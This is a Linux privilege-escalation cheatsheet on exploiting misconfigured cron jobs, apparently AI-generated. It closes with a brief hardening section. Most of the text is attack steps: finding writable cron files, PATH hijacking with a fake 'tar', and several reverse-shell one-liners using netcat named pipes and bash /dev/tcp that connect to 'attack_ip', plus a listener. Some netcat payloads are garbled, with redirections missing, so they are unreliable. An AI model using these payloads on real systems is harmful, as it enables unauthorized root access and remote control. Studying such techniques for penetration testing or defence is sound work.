

Cron Jobs - Linux

Privilege Escalation

Introduction

Cron jobs are scheduled tasks in Linux, executed automatically at specified intervals. They are powerful for automating repetitive tasks, but when misconfigured or poorly secured, they can be exploited for privilege escalation. This cheatsheet explains how to identify, analyze, and exploit vulnerable cron jobs, while providing practical steps for securing them.

1. Identifying Cron Jobs

To list all cron jobs and their configurations, use the following commands:

Command	Description
<code>cat /etc/crontab</code>	Displays system-wide cron jobs.
<code>ls /etc/cron*</code>	Lists directories containing cron job files, such as cron.d, cron.daily.
<code>cat /etc/cron*</code>	Outputs the content of cron job configuration files.
<code>cat /var/spool/cron/*</code>	Lists user-specific cron jobs.

2. Exploiting Vulnerable Cron Jobs

A. Writable Cron Job Files

If a cron job file is writable by your user and executed by a privileged account (e.g., root), you can modify its contents to include malicious code, such as a reverse shell.

Steps	Command/Description
Identify writable files	<code>find /etc/cron* /var/spool/cron/* -writable 2>/dev/null</code>
Inject reverse shell	Example reverse shell payload: <code>echo 'mkfifo /tmp/lcbo; nc attack_ip port 0/tmp/lcbo 2>&1; rm /tmp/lcbo' > autoscript.sh</code>
Wait for cron job execution	When the cron job triggers, it executes your payload, granting you a reverse shell.

B. Exploiting Misconfigured Scripts Run by Cron Jobs

Cron jobs often execute scripts or binaries. If these files are writable, replace their contents to gain control.

Steps	Command/Description
Locate executed scripts	Examine cron jobs and identify which scripts or binaries they execute.
Check for writable permissions	Use <code>ls -l</code> or <code>find -writable</code> to check for write access.
Replace script content	Insert malicious code or reverse shell commands. Example: <code>echo '/bin/bash -i >& /dev/tcp/attack_ip/port 0>&1' > vulnerable.sh.</code>

C. PATH Variable Exploitation

If a cron job executes commands without specifying absolute paths (e.g., tar, cat), you can hijack these commands by manipulating the PATH environment variable.

Steps	Command/Description
Create a malicious binary	Example:echo '/bin/bash -i >& /dev/tcp/attack_ip/port 0>&1' > /tmp/tar
Modify PATH	Add the directory containing your binary to the PATH:export PATH=/tmp:\$PATH.
Wait for cron job execution	When the cron job runs, it executes your malicious binary instead of the legitimate one.

D. Temporary File Exploitation

Some cron jobs create temporary files in world-writable locations (e.g., /tmp). If you can overwrite these files, you can execute arbitrary commands.

Steps	Command/Description
Monitor temporary file creation	Use strace or monitor directories like /tmp for file creation during cron execution.
Replace or symlink the file	Replace the file or symlink it to a malicious script that executes your commands.

3. Best Practices for Securing Cron Jobs

Best Practice	Description
Restrict file permissions	Ensure cron job files and executed scripts are owned by root and not writable by others.
Specify absolute paths	Use full paths for commands in cron job scripts to prevent PATH hijacking.

Best Practice	Description
Validate user inputs	If cron jobs process user input, validate and sanitize inputs to avoid injection.
Log cron job execution	Regularly review logs for unexpected behavior or unauthorized modifications.
Disable unused cron jobs	Remove or comment out unnecessary cron jobs to reduce the attack surface.

4. Realistic Considerations

In production environments, cron jobs are not triggered as frequently as in simulated environments like CTF challenges. However, any misconfigured cron job remains a potential vulnerability.

Example: Reverse Shell Payload in a Real Environment

1. Create Payload Script:

Step	Command/Description
Create Payload Script	<code>mkfifo /tmp/backpipe; nc attack_ip port 0/tmp/backpipe 2>&1; rm /tmp/backpipe</code>
Set Up Listener on Attacker Machine	<code>nc -lvnp port</code> (Listen for the reverse shell)
Wait for Trigger	When the cron job triggers, the payload will execute and give a reverse shell.

2. Set Up Listener on Attacker Machine:

Command	Description
<code>nc -lvnp port</code>	Set up a netcat listener to catch the reverse shell.

3. Wait for Trigger:

The cron job will execute the payload at its scheduled time, giving you a reverse shell.

Cron jobs are a powerful automation tool, but their misconfigurations can lead to severe security risks. Regular audits, strict permissions, and monitoring are essential to prevent privilege escalation. Let me know if you'd like to expand on any specific examples!
